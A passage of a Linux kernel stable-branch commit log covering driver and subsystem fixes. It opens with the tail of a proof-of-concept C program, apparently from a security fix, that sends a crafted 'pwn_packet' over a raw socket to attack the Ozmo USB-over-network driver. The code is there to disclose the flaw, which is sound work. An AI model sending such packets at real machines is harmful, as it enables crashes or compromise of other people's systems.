      			.control = OZ_F_ACK_REQUESTED | (OZ_PROTOCOL_VERSION << OZ_VERSION_SHIFT),
      			.last_pkt_num = 0,
      			.pkt_num = htole32(1)
      		},
      		.oz_elt = {
      			.type = OZ_ELT_APP_DATA,
      			.length = sizeof(struct oz_get_desc_rsp) - 2
      		},
      		.oz_get_desc_rsp = {
      			.app_id = OZ_APPID_USB,
      			.elt_seq_num = 0,
      			.type = OZ_GET_DESC_RSP,
      			.req_id = 0,
      			.offset = htole16(0),
      			.total_size = htole16(0),
      			.rcode = 0,
      			.data = {0}
      		}
      	};
      
      	struct sockaddr_ll socket_address = {
      		.sll_ifindex = interface_index,
      		.sll_halen = ETH_ALEN,
      		.sll_addr = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] }
      	};
      
      	if (sendto(sockfd, &connect_packet, sizeof(connect_packet), 0, (struct sockaddr *)&socket_address, sizeof(socket_address)) < 0) {
      		perror("sendto");
      		return 1;
      	}
      	usleep(300000);
      	if (sendto(sockfd, &pwn_packet, sizeof(pwn_packet), 0, (struct sockaddr *)&socket_address, sizeof(socket_address)) < 0) {
      		perror("sendto");
      		return 1;
      	}
      	return 0;
      }
      Signed-off-by: default avatarJason A. Donenfeld <Jason@zx2c4.com>
      Acked-by: default avatarDan Carpenter <dan.carpenter@oracle.com>
      Signed-off-by: default avatarGreg Kroah-Hartman <gregkh@linuxfoundation.org>
      1804b143
    • James Hogan's avatar
      MIPS: Fix enabling of DEBUG_STACKOVERFLOW · 4c90e05e
      James Hogan authored
      commit 5f35b9cd upstream.
      
      Commit 334c86c4 ("MIPS: IRQ: Add stackoverflow detection") added
      kernel stack overflow detection, however it only enabled it conditional
      upon the preprocessor definition DEBUG_STACKOVERFLOW, which is never
      actually defined. The Kconfig option is called DEBUG_STACKOVERFLOW,
      which manifests to the preprocessor as CONFIG_DEBUG_STACKOVERFLOW, so
      switch it to using that definition instead.
      
      Fixes: 334c86c4 ("MIPS: IRQ: Add stackoverflow detection")
      Signed-off-by: default avatarJames Hogan <james.hogan@imgtec.com>
      Cc: Ralf Baechle <ralf@linux-mips.org>
      Cc: Adam Jiang <jiang.adam@gmail.com>
      Cc: linux-mips@linux-mips.org
      Patchwork: http://patchwork.linux-mips.org/patch/10531/Signed-off-by: default avatarRalf Baechle <ralf@linux-mips.org>
      Signed-off-by: default avatarGreg Kroah-Hartman <gregkh@linuxfoundation.org>
      4c90e05e
    • Wang Long's avatar
      ring-buffer-benchmark: Fix the wrong sched_priority of producer · 61a5c6bf
      Wang Long authored
      commit 10802932 upstream.
      
      The producer should be used producer_fifo as its sched_priority,
      so correct it.
      
      Link: http://lkml.kernel.org/r/1433923957-67842-1-git-send-email-long.wanglong@huawei.comSigned-off-by: default avatarWang Long <long.wanglong@huawei.com>
      Signed-off-by: default avatarSteven Rostedt <rostedt@goodmis.org>
      Signed-off-by: default avatarGreg Kroah-Hartman <gregkh@linuxfoundation.org>
      61a5c6bf
    • Patrick Riphagen's avatar
      USB: serial: ftdi_sio: Add support for a Motion Tracker Development Board · dc320d50
      Patrick Riphagen authored
      commit 1df5b888 upstream.
      
      This adds support for new Xsens device, Motion Tracker Development Board,
      using Xsens' own Vendor ID
      Signed-off-by: default avatarPatrick Riphagen <patrick.riphagen@xsens.com>
      Signed-off-by: default avatarJohan Hovold <johan@kernel.org>
      Signed-off-by: default avatarGreg Kroah-Hartman <gregkh@linuxfoundation.org>
      dc320d50
    • John D. Blair's avatar
      USB: cp210x: add ID for HubZ dual ZigBee and Z-Wave dongle · 0848ca6c
      John D. Blair authored
      commit df72d588 upstream.
      
      Added the USB serial device ID for the HubZ dual ZigBee
      and Z-Wave radio dongle.
      Signed-off-by: default avatarJohn D. Blair <johnb@candicontrols.com>
      Signed-off-by: default avatarJohan Hovold <johan@kernel.org>
      Signed-off-by: default avatarGreg Kroah-Hartman <gregkh@linuxfoundation.org>
      0848ca6c
    • Dan Williams's avatar
      block: fix ext_dev_lock lockdep report · 96ebd858
      Dan Williams authored
      commit 4d66e5e9 upstream.
      
       =================================
       [ INFO: inconsistent lock state ]
       4.1.0-rc7+ #217 Tainted: G           O
       ---------------------------------
       inconsistent {SOFTIRQ-ON-W} -> {IN-SOFTIRQ-W} usage.
       swapper/6/0 [HC0[0]:SC1[1]:HE1:SE0] takes:
        (ext_devt_lock){+.?...}, at: [<ffffffff8143a60c>] blk_free_devt+0x3c/0x70
       {SOFTIRQ-ON-W} state was registered at:
         [<ffffffff810bf6b1>] __lock_acquire+0x461/0x1e70
         [<ffffffff810c1947>] lock_acquire+0xb7/0x290
         [<ffffffff818ac3a8>] _raw_spin_lock+0x38/0x50
         [<ffffffff8143a07d>] blk_alloc_devt+0x6d/0xd0  <-- take the lock in process context
      [..]
        [<ffffffff810bf64e>] __lock_acquire+0x3fe/0x1e70
        [<ffffffff810c00ad>] ? __lock_acquire+0xe5d/0x1e70
        [<ffffffff810c1947>] lock_acquire+0xb7/0x290
        [<ffffffff8143a60c>] ? blk_free_devt+0x3c/0x70
        [<ffffffff818ac3a8>] _raw_spin_lock+0x38/0x50
        [<ffffffff8143a60c>] ? blk_free_devt+0x3c/0x70
        [<ffffffff8143a60c>] blk_free_devt+0x3c/0x70    <-- take the lock in softirq
        [<ffffffff8143bfec>] part_release+0x1c/0x50
        [<ffffffff8158edf6>] device_release+0x36/0xb0
        [<ffffffff8145ac2b>] kobject_cleanup+0x7b/0x1a0
        [<ffffffff8145aad0>] kobject_put+0x30/0x70
        [<ffffffff8158f147>] put_device+0x17/0x20
        [<ffffffff8143c29c>] delete_partition_rcu_cb+0x16c/0x180
        [<ffffffff8143c130>] ? read_dev_sector+0xa0/0xa0
        [<ffffffff810e0e0f>] rcu_process_callbacks+0x2ff/0xa90
        [<ffffffff810e0dcf>] ? rcu_process_callbacks+0x2bf/0xa90
        [<ffffffff81067e2e>] __do_softirq+0xde/0x600
      
      Neil sees this in his tests and it also triggers on pmem driver unbind
      for the libnvdimm tests.  This fix is on top of an initial fix by Keith
      for incorrect usage of mutex_lock() in this path: 2da78092 "block:
      Fix dev_t minor allocation lifetime".  Both this and 2da78092 are
      candidates for -stable.
      
      Fixes: 2da78092 ("block: Fix dev_t minor allocation lifetime")
      Cc: Keith Busch <keith.busch@intel.com>
      Reported-by: default avatarNeilBrown <neilb@suse.de>
      Signed-off-by: default avatarDan Williams <dan.j.williams@intel.com>
      Signed-off-by: default avatarJens Axboe <axboe@fb.com>
      Signed-off-by: default avatarGreg Kroah-Hartman <gregkh@linuxfoundation.org>
      96ebd858
    • Hans de Goede's avatar
      Input: elantech - fix detection of touchpads where the revision matches a known rate · 61571905
      Hans de Goede authored
      commit 5f0ee9d1 upstream.
      
      Make the check to skip the rate check more lax, so that it applies
      to all hw_version 4 models.
      
      This fixes the touchpad not being detected properly on Asus PU551LA
      laptops.
      Reported-and-tested-by: default avatarDavid Zafra Gómez <dezeta@klo.es>
      Signed-off-by: default avatarHans de Goede <hdegoede@redhat.com>
      Signed-off-by: default avatarDmitry Torokhov <dmitry.torokhov@gmail.com>
      Signed-off-by: default avatarGreg Kroah-Hartman <gregkh@linuxfoundation.org>
      61571905
    • Clemens Ladisch's avatar
      ALSA: usb-audio: add MAYA44 USB+ mixer control names · c24f1e7c
      Clemens Ladisch authored
      commit 044bddb9 upstream.
      
      Add mixer control names for the ESI Maya44 USB+ (which appears to be
      identical width the AudioTrak Maya44 USB).
      Reported-by: default avatarnightmixes <nightmixes@gmail.com>
      Signed-off-by: default avatarClemens Ladisch <clemens@ladisch.de>
      Signed-off-by: default avatarTakashi Iwai <tiwai@suse.de>
      Signed-off-by: default avatarGreg Kroah-Hartman <gregkh@linuxfoundation.org>
      c24f1e7c
    • Wolfram Sang's avatar
      ALSA: usb-audio: Add mic volume fix quirk for Logitech Quickcam Fusion · 19f89f6c
      Wolfram Sang authored
      commit 1ef9f058 upstream.
      
      Fix this from the logs:
      
      usb 7-1: New USB device found, idVendor=046d, idProduct=08ca
      ...
      usb 7-1: Warning! Unlikely big volume range (=3072), cval->res is probably wrong.
      usb 7-1: [5] FU [Mic Capture Volume] ch = 1, val = 4608/7680/1
      Signed-off-by: default avatarWolfram Sang <wsa@the-dreams.de>
      Signed-off-by: default avatarTakashi Iwai <tiwai@suse.de>
      Signed-off-by: default avatarGreg Kroah-Hartman <gregkh@linuxfoundation.org>
      19f89f6c
    • Takashi Iwai's avatar
      ALSA: hda/realtek - Add a fixup for another Acer Aspire 9420 · 432146b1
      Takashi Iwai authored
      commit b5d724b1 upstream.
      
      Acer Aspire 9420 with ALC883 (1025:0107) needs the fixup for EAPD to
      make the sound working like other Aspire models.
      
      Bugzilla: https://bugzilla.kernel.org/show_bug.cgi?id=94111Signed-off-by: default avatarTakashi Iwai <tiwai@suse.de>
      Signed-off-by: default avatarGreg Kroah-Hartman <gregkh@linuxfoundation.org>
      432146b1
    • Paul Cercueil's avatar
      iio: adis16400: Compute the scan mask from channel indices · 50739084
      Paul Cercueil authored
      commit c2a8b623 upstream.
      
      We unfortunately can't use ~0UL for the scan mask to indicate that the
      only valid scan mask is all channels selected. The IIO core needs the exact
      mask to work correctly and not a super-set of it. So calculate the masked
      based on the channels that are available for a particular device.
      Signed-off-by: default avatarPaul Cercueil <paul.cercueil@analog.com>
      Signed-off-by: default avatarLars-Peter Clausen <lars@metafoo.de>
      Fixes: 5eda3550 ("staging:iio:adis16400: Preallocate transfer message")
      Signed-off-by: default avatarJonathan Cameron <jic23@kernel.org>
      Signed-off-by: default avatarGreg Kroah-Hartman <gregkh@linuxfoundation.org>
      50739084
    • Paul Cercueil's avatar
      iio: adis16400: Use != channel indices for the two voltage channels · beed1a25
      Paul Cercueil authored
      commit 7323d598 upstream.
      
      Previously, the two voltage channels had the same ID, which didn't cause
      conflicts in sysfs only because one channel is named and the other isn't;
      this is still violating the spec though, two indexed channels should never
      have the same index.
      Signed-off-by: default avatarPaul Cercueil <paul.cercueil@analog.com>
      Signed-off-by: default avatarLars-Peter Clausen <lars@metafoo.de>
      Signed-off-by: default avatarJonathan Cameron <jic23@kernel.org>
      Signed-off-by: default avatarGreg Kroah-Hartman <gregkh@linuxfoundation.org>
      beed1a25
    • Lars-Peter Clausen's avatar
      iio: adis16400: Report pressure channel scale · 3b9f2aa3
      Lars-Peter Clausen authored
      commit 69ca2d77 upstream.
      
      Add the scale for the pressure channel, which is currently missing.
      Signed-off-by: default avatarLars-Peter Clausen <lars@metafoo.de>
      Fixes: 76ada52f ("iio:adis16400: Add support for the adis16448")
      Signed-off-by: default avatarJonathan Cameron <jic23@kernel.org>
      Signed-off-by: default avatarGreg Kroah-Hartman <gregkh@linuxfoundation.org>
      3b9f2aa3
    • Ian Campbell's avatar
      xen: netback: read hotplug script once at start of day. · 762965a2
      Ian Campbell authored
      [ Upstream commit 31a41898 ]
      
      When we come to tear things down in netback_remove() and generate the
      uevent it is possible that the xenstore directory has already been
      removed (details below).
      
      In such cases netback_uevent() won't be able to read the hotplug
      script and will write a xenstore error node.
      
      A recent change to the hypervisor exposed this race such that we now
      sometimes lose it (where apparently we didn't ever before).
      
      Instead read the hotplug script configuration during setup and use it
      for the lifetime of the backend device.
      
      The apparently more obvious fix of moving the transition to
      state=Closed in netback_remove() to after the uevent does not work
      because it is possible that we are already in state=Closed (in
      reaction to the guest having disconnected as it shutdown). Being
      already in Closed means the toolstack is at liberty to start tearing
      down the xenstore directories. In principal it might be possible to
      arrange to unregister the device sooner (e.g on transition to Closing)
      such that xenstore would still be there but this state machine is
      fragile and prone to anger...
      
      A modern Xen system only relies on the hotplug uevent for driver
      domains, when the backend is in the same domain as the toolstack it
      will run the necessary setup/teardown directly in the correct sequence
      wrt xenstore changes.
      Signed-off-by: default avatarIan Campbell <ian.campbell@citrix.com>
      Acked-by: default avatarWei Liu <wei.liu2@citrix.com>
      Signed-off-by: default avatarDavid S. Miller <davem@davemloft.net>
      Signed-off-by: default avatarGreg Kroah-Hartman <gregkh@linuxfoundation.org>
      762965a2